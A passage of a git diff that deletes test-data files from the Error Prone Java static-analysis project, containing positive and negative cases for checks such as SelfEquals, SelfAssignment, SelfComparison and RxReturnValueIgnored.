Return value of 'copyOfRange' must be used - Arrays.copyOfRange(numbers, 1, 3); - // BUG: Diagnostic contains: Return value of 'deepEquals' must be used - Arrays.deepEquals(objects, objects); - // BUG: Diagnostic contains: Return value of 'deepHashCode' must be used - Arrays.deepHashCode(objects); - // BUG: Diagnostic contains: Return value of 'deepToString' must be used - Arrays.deepToString(objects); - // BUG: Diagnostic contains: Return value of 'equals' must be used - Arrays.equals(objects, objects); - // BUG: Diagnostic contains: Return value of 'hashCode' must be used - Arrays.hashCode(objects); - // BUG: Diagnostic contains: Return value of 'toString' must be used - Arrays.toString(objects); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java deleted file mode 100644 index b2a0fb6025c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.reactivex.Flowable; -import io.reactivex.Maybe; -import io.reactivex.Observable; -import io.reactivex.Single; -import java.util.HashMap; -import java.util.Map; - -/** - * @author friedj@google.com (Jake Fried) - */ -public class RxReturnValueIgnoredNegativeCases { - interface CanIgnoreMethod { - @CanIgnoreReturnValue - Observable getObservable(); - - @CanIgnoreReturnValue - Single getSingle(); - - @CanIgnoreReturnValue - Flowable getFlowable(); - - @CanIgnoreReturnValue - Maybe getMaybe(); - } - - public static class CanIgnoreImpl implements CanIgnoreMethod { - @Override - public Observable getObservable() { - return null; - } - - @Override - public Single getSingle() { - return null; - } - - @Override - public Flowable getFlowable() { - return null; - } - - @Override - public Maybe getMaybe() { - return null; - } - } - - static void callIgnoredInterfaceMethod() { - new CanIgnoreImpl().getObservable(); - new CanIgnoreImpl().getSingle(); - new CanIgnoreImpl().getFlowable(); - new CanIgnoreImpl().getMaybe(); - } - - static void putInMap() { - Map> map1 = new HashMap<>(); - Map> map2 = new HashMap<>(); - Map> map3 = new HashMap<>(); - HashMap> map4 = new HashMap<>(); - - map1.put(new Object(), null); - map2.put(new Object(), null); - map3.put(new Object(), null); - map4.put(new Object(), null); - } - - @CanIgnoreReturnValue - Observable getObservable() { - return null; - } - - @CanIgnoreReturnValue - Single getSingle() { - return null; - } - - @CanIgnoreReturnValue - Flowable getFlowable() { - return null; - } - - @CanIgnoreReturnValue - Maybe getMaybe() { - return null; - } - - void checkIgnore() { - getObservable(); - getSingle(); - getFlowable(); - getMaybe(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java deleted file mode 100644 index 1d0ef348005..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,152 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.reactivex.Flowable; -import io.reactivex.Maybe; -import io.reactivex.Observable; -import io.reactivex.Single; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; - -/** - * @author friedj@google.com (Jake Fried) - */ -public class RxReturnValueIgnoredPositiveCases { - private static Observable getObservable() { - return null; - } - - private static Single getSingle() { - return null; - } - - private static Flowable getFlowable() { - return null; - } - - private static Maybe getMaybe() { - return null; - } - - { - new Observable(); - new Single(); - new Flowable(); - new Maybe(); - - // BUG: Diagnostic contains: Rx objects must be checked. - getObservable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getSingle(); - // BUG: Diagnostic contains: Rx objects must be checked. - getFlowable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getMaybe(); - - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getObservable()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getSingle()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getFlowable()); - // BUG: Diagnostic contains: Rx objects must be checked. - Arrays.asList(1, 2, 3).forEach(n -> getMaybe()); - } - - private abstract static class IgnoringParent { - @CanIgnoreReturnValue - abstract T ignoringFunction(); - } - - private class NonIgnoringObservableChild extends IgnoringParent> { - @Override - Observable ignoringFunction() { - return null; - } - } - - private class NonIgnoringSingleChild extends IgnoringParent> { - @Override - Single ignoringFunction() { - return null; - } - } - - private class NonIgnoringFlowableChild extends IgnoringParent> { - @Override - Flowable ignoringFunction() { - return null; - } - } - - private class NonIgnoringMaybeChild extends IgnoringParent> { - @Override - Maybe ignoringFunction() { - return null; - } - } - - public void inheritanceTest() { - NonIgnoringObservableChild observableChild = new NonIgnoringObservableChild(); - NonIgnoringSingleChild singleChild = new NonIgnoringSingleChild(); - NonIgnoringFlowableChild flowableChild = new NonIgnoringFlowableChild(); - NonIgnoringMaybeChild maybeChild = new NonIgnoringMaybeChild(); - - // BUG: Diagnostic contains: Rx objects must be checked. - observableChild.ignoringFunction(); - // BUG: Diagnostic contains: Rx objects must be checked. - singleChild.ignoringFunction(); - // BUG: Diagnostic contains: Rx objects must be checked. - flowableChild.ignoringFunction(); - // BUG: Diagnostic contains: Rx objects must be checked. - maybeChild.ignoringFunction(); - } - - public void conditional() { - if (false) { - // BUG: Diagnostic contains: Rx objects must be checked. - getObservable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getSingle(); - // BUG: Diagnostic contains: Rx objects must be checked. - getFlowable(); - // BUG: Diagnostic contains: Rx objects must be checked. - getMaybe(); - } - - return; - } - - static void getFromMap() { - Map map1 = new HashMap<>(); - Map map2 = new HashMap<>(); - Map map3 = new HashMap<>(); - Map map4 = new HashMap<>(); - - // BUG: Diagnostic contains: Rx objects must be checked. - map1.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map2.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map3.get(null); - // BUG: Diagnostic contains: Rx objects must be checked. - map4.get(null); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java deleted file mode 100644 index 13c70c044a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for SelfAssertion check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfAssertionNegativeCases { - - public void testEq() { - assertThat(Boolean.TRUE.toString()).isEqualTo(Boolean.FALSE.toString()); - } - - public void testNeq() { - assertThat(Boolean.TRUE.toString()).isNotEqualTo(Boolean.FALSE.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java deleted file mode 100644 index a81fa607036..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - -/** - * Positive test cases for SelfAssertion check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfAssertionPositiveCases { - - public void testAssertThatEq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isEqualTo(test); - } - - public void testAssertWithMessageEq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isEqualTo(test); - } - - public void testAssertThatSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isSameInstanceAs(test); - } - - public void testAssertWithMessageSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isSameInstanceAs(test); - } - - public void testAssertThatNeq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isNotEqualTo(test); - } - - public void testAssertThatNotSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertThat(test).isNotSameInstanceAs(test); - } - - public void testAssertWithMessageNeq() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isNotEqualTo(test); - } - - public void testAssertWithMessageNotSame() { - String test = Boolean.TRUE.toString(); - // BUG: Diagnostic contains: - assertWithMessage("msg").that(test).isNotSameInstanceAs(test); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java deleted file mode 100644 index e1ad69bc06f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java +++ /dev/null @@ -1,109 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static java.util.Objects.requireNonNull; - -/** - * Tests for self assignment - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class SelfAssignmentNegativeCases { - private int a; - - private static int b = StaticClass.b; - private static final int C = SelfAssignmentNegativeCases.b; - private static final int D = checkNotNull(SelfAssignmentNegativeCases.C); - private static final int E = requireNonNull(SelfAssignmentNegativeCases.D); - private static final int F = StaticClass.getIntArr().length; - - public void test1(int a) { - int b = SelfAssignmentNegativeCases.b; - this.a = a; - this.a = checkNotNull(a); - this.a = requireNonNull(a); - } - - public void test2() { - int a = 0; - int b = a; - a = b; - } - - public void test3() { - int a = 10; - } - - public void test4() { - int i = 1; - i += i; - } - - public void test5(SelfAssignmentNegativeCases n) { - a = n.a; - } - - public void test6() { - Foo foo = new Foo(); - Bar bar = new Bar(); - foo.a = bar.a; - foo.a = checkNotNull(bar.a); - foo.a = requireNonNull(bar.a); - } - - public void test7() { - Foobar f1 = new Foobar(); - f1.foo = new Foo(); - f1.bar = new Bar(); - f1.foo.a = f1.bar.a; - f1.foo.a = checkNotNull(f1.bar.a); - f1.foo.a = requireNonNull(f1.bar.a); - } - - public void test8(SelfAssignmentNegativeCases that) { - this.a = that.a; - this.a = checkNotNull(that.a); - this.a = requireNonNull(that.a); - } - - public void test9(int a) { - a += a; - } - - private static class Foo { - int a; - } - - private static class Bar { - int a; - } - - private static class Foobar { - Foo foo; - Bar bar; - } - - private static class StaticClass { - static int b; - - public static int[] getIntArr() { - return new int[10]; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java deleted file mode 100644 index eb6d4e9361b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java +++ /dev/null @@ -1,118 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static java.util.Objects.requireNonNull; - -/** - * Tests for self assignment - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class SelfAssignmentPositiveCases2 { - private int a; - private Foo foo; - - // BUG: Diagnostic contains: private static final Object obj - private static final Object obj = SelfAssignmentPositiveCases2.obj; - // BUG: Diagnostic contains: private static final Object obj2 - private static final Object obj2 = checkNotNull(SelfAssignmentPositiveCases2.obj2); - - public void test6() { - Foo foo = new Foo(); - foo.a = 2; - // BUG: Diagnostic contains: remove this line - foo.a = foo.a; - // BUG: Diagnostic contains: checkNotNull(foo.a) - foo.a = checkNotNull(foo.a); - // BUG: Diagnostic contains: requireNonNull(foo.a) - foo.a = requireNonNull(foo.a); - } - - public void test7() { - Foobar f = new Foobar(); - f.foo = new Foo(); - f.foo.a = 10; - // BUG: Diagnostic contains: remove this line - f.foo.a = f.foo.a; - // BUG: Diagnostic contains: checkNotNull(f.foo.a) - f.foo.a = checkNotNull(f.foo.a); - // BUG: Diagnostic contains: requireNonNull(f.foo.a) - f.foo.a = requireNonNull(f.foo.a); - } - - public void test8() { - foo = new Foo(); - // BUG: Diagnostic contains: remove this line - this.foo.a = foo.a; - // BUG: Diagnostic contains: checkNotNull(foo.a) - this.foo.a = checkNotNull(foo.a); - // BUG: Diagnostic contains: requireNonNull(foo.a) - this.foo.a = requireNonNull(foo.a); - } - - public void test9(Foo fao, Foo bar) { - // BUG: Diagnostic contains: this.foo = fao - this.foo = foo; - // BUG: Diagnostic contains: this.foo = checkNotNull(fao) - this.foo = checkNotNull(foo); - // BUG: Diagnostic contains: this.foo = requireNonNull(fao) - this.foo = requireNonNull(foo); - } - - public void test10(Foo foo) { - // BUG: Diagnostic contains: this.foo = foo - foo = foo; - // BUG: Diagnostic contains: this.foo = checkNotNull(foo) - foo = checkNotNull(foo); - // BUG: Diagnostic contains: this.foo = requireNonNull(foo) - foo = requireNonNull(foo); - } - - class Test11 { - final Foo foo; - - Foo fao; - - Test11(Foo foo) { - if (true) { - // BUG: Diagnostic contains: this.fao = foo - foo = foo; - } - this.foo = foo; - } - - public void test11a(Foo foo) { - // BUG: Diagnostic contains: this.fao = foo - foo = foo; - } - } - - private static class Foo { - int a; - } - - private static class Bar { - int a; - } - - private static class Foobar { - Foo foo; - Bar bar; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java deleted file mode 100644 index 602317939d1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for {@link SelfComparison} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfComparisonNegativeCases implements Comparable { - private String field; - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } - - @Override - public int compareTo(Object o) { - if (!(o instanceof SelfComparisonNegativeCases)) { - return -1; - } - - SelfComparisonNegativeCases other = (SelfComparisonNegativeCases) o; - return field.compareTo(other.field); - } - - public int test() { - return Boolean.TRUE.toString().compareTo(Boolean.FALSE.toString()); - } - - public static class CopmarisonTest implements Comparable { - private String testField; - - @Override - public int compareTo(CopmarisonTest obj) { - return testField.compareTo(obj.testField); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java deleted file mode 100644 index fdd5f2870a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test case for {@link SelfComparison} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfComparisonPositiveCase implements Comparable { - - public int test1() { - SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(obj); - } - - private SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); - - public int test2() { - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(this.obj); - } - - public int test3() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(obj); - } - - public int test4() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(this.obj); - } - - public int test5() { - // BUG: Diagnostic contains: An object is compared to itself - return compareTo(this); - } - - @Override - public int compareTo(Object o) { - return 0; - } - - public static class ComparisonTest implements Comparable { - private String testField; - - @Override - public int compareTo(ComparisonTest s) { - return testField.compareTo(s.testField); - } - - public int test1() { - ComparisonTest obj = new ComparisonTest(); - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(obj); - } - - private ComparisonTest obj = new ComparisonTest(); - - public int test2() { - // BUG: Diagnostic contains: An object is compared to itself - return obj.compareTo(this.obj); - } - - public int test3() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(obj); - } - - public int test4() { - // BUG: Diagnostic contains: An object is compared to itself - return this.obj.compareTo(this.obj); - } - - public int test5() { - // BUG: Diagnostic contains: An object is compared to itself - return compareTo(this); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java deleted file mode 100644 index e5eb0d5d753..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsGuavaNegativeCases { - private String field; - - @Override - public boolean equals(Object o) { - if (this == o) { - return true; - } - if (o == null || getClass() != o.getClass()) { - return false; - } - - SelfEqualsGuavaNegativeCases other = (SelfEqualsGuavaNegativeCases) o; - return Objects.equal(field, other.field); - } - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java deleted file mode 100644 index 2a95b82e43a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class SelfEqualsGuavaPositiveCase { - private String field = ""; - - @Override - public boolean equals(Object o) { - if (this == o) { - return true; - } - if (o == null || getClass() != o.getClass()) { - return false; - } - SelfEqualsGuavaPositiveCase other = (SelfEqualsGuavaPositiveCase) o; - boolean retVal; - // BUG: Diagnostic contains: Objects.equal(field, other.field) - retVal = Objects.equal(field, field); - // BUG: Diagnostic contains: Objects.equal(other.field, this.field) - retVal &= Objects.equal(field, this.field); - // BUG: Diagnostic contains: Objects.equal(this.field, other.field) - retVal &= Objects.equal(this.field, field); - // BUG: Diagnostic contains: Objects.equal(this.field, other.field) - retVal &= Objects.equal(this.field, this.field); - - return retVal; - } - - @Override - public int hashCode() { - return Objects.hashCode(field); - } - - public static void test() { - ForTesting tester = new ForTesting(); - // BUG: Diagnostic contains: Objects.equal(tester.testing.testing, tester.testing) - Objects.equal(tester.testing.testing, tester.testing.testing); - } - - private static class ForTesting { - public ForTesting testing; - public String string; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java deleted file mode 100644 index 56316e7c6ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for {@link SelfEquals} check. - * - * @author alexeagle@google.com (Alex Eagle) - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsNegativeCases { - private String field; - - @Override - public int hashCode() { - return field != null ? field.hashCode() : 0; - } - - @Override - public boolean equals(Object o) { - if (!(o instanceof SelfEqualsNegativeCases)) { - return false; - } - - SelfEqualsNegativeCases other = (SelfEqualsNegativeCases) o; - return field.equals(other.field); - } - - public boolean test() { - return Boolean.TRUE.toString().equals(Boolean.FALSE.toString()); - } - - public void testAssertThatEq(SelfEqualsNegativeCases obj) { - assertThat(obj).isEqualTo(obj); - } - - public void testAssertThatNeq(SelfEqualsNegativeCases obj) { - assertThat(obj).isNotEqualTo(obj); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java deleted file mode 100644 index f8badde7419..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import org.junit.Assert; - -/** - * Positive test cases for {@link SelfEquals} check. - * - * @author eaftan@google.com (Eddie Aftandilian) - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class SelfEqualsPositiveCase { - protected String simpleField; - - public boolean test1(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: simpleField.equals(other.simpleField); - return simpleField.equals(simpleField); - } - - public boolean test2(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: simpleField.equals(other.simpleField); - return simpleField.equals(this.simpleField); - } - - public boolean test3(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); - return this.simpleField.equals(simpleField); - } - - public boolean test4(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); - return this.simpleField.equals(this.simpleField); - } - - public boolean test5(SelfEqualsPositiveCase obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - // BUG: Diagnostic contains: - return equals(this); - } - - public void testAssertTrue(SelfEqualsPositiveCase obj) { - Assert.assertTrue(obj.equals(obj)); - } - - public void testAssertThat(SelfEqualsPositiveCase obj) { - assertThat(obj.equals(obj)).isTrue(); - } - - @Override - public boolean equals(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; - return simpleField.equals(((SelfEqualsPositiveCase) other).simpleField); - } - - private static class SubClass extends SelfEqualsPositiveCase { - @Override - public boolean equals(Object obj) { - if (obj == null || getClass() != obj.getClass()) { - return false; - } - SubClass other = (SubClass) obj; - return simpleField.equals(((SubClass) other).simpleField); - } - } - - public void testSub() { - SubClass sc = new SubClass(); - // BUG: Diagnostic contains: - sc.equals(sc); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java deleted file mode 100644 index 971c6d26b6b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableMultimap; -import com.google.common.collect.Multimap; - -/** - * Negative test cases for {@link ShouldHaveEvenArgs} check. - * - * @author monnoroch@google.com (Max Strakhov) - */ -public class ShouldHaveEvenArgsMultimapNegativeCases { - - private static final Multimap multimap = ImmutableMultimap.of(); - - public void testWithMinimalArgs() { - assertThat(multimap).containsExactly("hello", "there"); - } - - public void testWithEvenArgs() { - assertThat(multimap).containsExactly("hello", "there", "hello", 